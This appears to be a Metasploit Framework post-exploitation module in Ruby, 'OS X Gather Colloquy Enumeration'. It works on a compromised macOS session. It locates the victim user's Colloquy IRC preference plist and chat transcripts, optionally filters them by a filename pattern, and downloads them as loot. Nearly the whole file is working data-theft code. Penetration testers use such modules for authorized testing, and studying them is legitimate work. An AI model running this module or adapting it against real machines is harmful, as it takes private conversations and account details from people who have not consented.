metasploit-framework/modules/post/osx/gather/enum_colloquy.rb

166 lines
4.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Post::File
def initialize(info={})
super(update_info(info,
'Name' => 'OS X Gather Colloquy Enumeration',
'Description' => %q{
This module will collect Colloquy's info plist file and chat logs from the
victim's machine. There are three actions you may choose: INFO, CHATS, and
ALL. Please note that the CHAT action may take a long time depending on the
victim machine, therefore we suggest to set the regex 'PATTERN' option in order
to search for certain log names (which consists of the contact's name, and a
timestamp). The default 'PATTERN' is configured as "^alien" as an example
to search for any chat logs associated with the name "alien".
},
'License' => MSF_LICENSE,
'Author' => [ 'sinn3r'],
'Platform' => [ 'osx' ],
'SessionTypes' => [ "meterpreter", "shell" ],
'Actions' =>
[
['ACCOUNTS', { 'Description' => 'Collect the preferences plists' } ],
['CHATS', { 'Description' => 'Collect chat logs with a pattern' } ],
['ALL', { 'Description' => 'Collect both the plists and chat logs'}]
],
'DefaultAction' => 'ALL'
))
register_options(
[
OptRegexp.new('PATTERN', [true, 'Match a keyword in any chat log\'s filename', '^alien']),
])
end
#
# Parse a plst file to XML format:
# http://hints.macworld.com/article.php?story=20050430105126392
#
def plutil(filename)
exec("plutil -convert xml1 #{filename}")
data = exec("cat #{filename}")
return data
end
def get_chatlogs(base)
chats = []
# Get all the logs
print_status("#{@peer} - Download logs...")
folders = dir("\"#{base}\"")
folders.each do |f|
# Get all the transcripts from this folder
trans = exec("find \"#{base}#{f}\" -name *.colloquyTranscript")
trans.split("\n").each do |t|
fname = ::File.basename(t)
# Check fname before downloading it
next if fname !~ datastore['PATTERN']
print_status("#{@peer} - Downloading #{t}")
content = exec("cat \"#{t}\"")
chats << {:log_name => fname, :content => content}
end
end
return chats
end
def get_preferences(path)
raw_plist = exec("cat #{path}")
return nil if raw_plist =~ /No such file or directory/
xml_plist = plutil(path)
return xml_plist
end
def save(type, data)
case type
when :preferences
p = store_loot(
'colloquy.preferences',
'text/plain',
session,
data,
"info.colloquy.plist"
)
print_good("#{@peer} - info.colloquy.plist saved as: #{p}")
when :chatlogs
data.each do |d|
log_name = d[:log_name]
content = d[:content]
p = store_loot(
'colloquy.chatlogs',
'text/plain',
session,
content,
log_name
)
print_good("#{@peer} - #{log_name} stored in #{p}")
end
end
end
def whoami
exec("/usr/bin/whoami")
end
def dir(path)
subdirs = exec("ls -l #{path}")
return [] if subdirs =~ /No such file or directory/
items = subdirs.scan(/[A-Z][a-z][a-z]\x20+\d+\x20[\d\:]+\x20(.+)$/).flatten
return items
end
def exec(cmd)
tries = 0
begin
out = cmd_exec(cmd).chomp
rescue ::Timeout::Error => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
rescue EOFError => e
tries += 1
if tries < 3
vprint_error("#{@peer} - #{e.message} - retrying...")
retry
end
end
end
def run
if action.nil?
print_error("Please specify an action")
return
end
@peer = "#{session.session_host}:#{session.session_port}"
user = whoami
transcripts_path = "/Users/#{user}/Documents/Colloquy Transcripts/"
prefs_path = "/Users/#{user}/Library/Preferences/info.colloquy.plist"
prefs = get_preferences(prefs_path) if action.name =~ /ALL|ACCOUNTS/i
chatlogs = get_chatlogs(transcripts_path) if action.name =~ /ALL|CHATS/i
save(:preferences, prefs) if not prefs.nil? and not prefs.empty?
save(:chatlogs, chatlogs) if not chatlogs.nil? and not chatlogs.empty?
end
end
=begin
/Users/[user]/Documents/Colloquy Transcripts
/Users/[user]/Library/Preferences/info.colloquy.plist
Transcript example:
/Users/[username]/Documents/Colloquy Transcripts//[server]/[contact] 10-13-11.colloquyTranscript
=end